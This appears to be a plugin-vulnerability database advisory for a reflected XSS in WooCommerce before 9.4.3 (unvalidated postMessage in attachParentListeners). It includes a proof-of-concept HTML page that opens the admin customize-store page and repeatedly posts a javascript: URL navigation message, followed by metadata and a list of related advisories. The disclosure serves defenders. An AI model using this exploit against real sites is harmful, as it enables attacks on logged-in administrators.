WooCommerce < 9.4.3 – Reflected XSS | CVE 2025-5062 | Plugin Vulnerabilities

Description

The plugin does not validate and sanitize the event origin and data in its attachParentListeners function, leading to a Reflected XSS issue

Proof of Concept

Make a logged in admin open a page with the code below

<html>
<head>
<script>

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

async function startPoc() {
   let w = window.open("https://example.com/wp-admin/admin.php?page=wc-admin&path=%2Fcustomize-store");
   while(true) {
      w.postMessage({"type": "navigate", "url": "javascript:alert(1)"}, "*");
      await sleep(1000);
   }
}
</script>
</head>
<body onclick="startPoc()">
Click anywhere on this website.
</body>
</html>

Affects Plugins

Fixed in 9.4.3

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Antonio Rocco Spataro

Verified

Yes

WPVDB ID

505aa04b-3969-4fea-a296-a6af7ef71409

Timeline

Publicly Published

2024-12-03 (about 1 year ago)

Added

2024-12-04 (about 1 year ago)

Last Updated

2026-08-18 (about 5 days ago)

Other

Published

Title

Published

2025-01-06

Title

Quill Forms | The Best Typeform Alternative | Create Conversational Multi Step Form, Survey, Quiz, Cost Estimation or Donation Form on WordPress < 4.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2026-02-16

Title

Forminator Forms < 1.50.3 - Admin+ Stored XSS

Published

2025-11-03

Title

MeetingList <= 0.11 - Authenticated (Admin+) Stored Cross-Site Scripting

Published

2016-03-28

Title

Music Store < 1.0.43 - Cross-Site Scripting (XSS)

Published

2025-10-02

Title

Epic Bootstrap Buttons <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via icol Parameter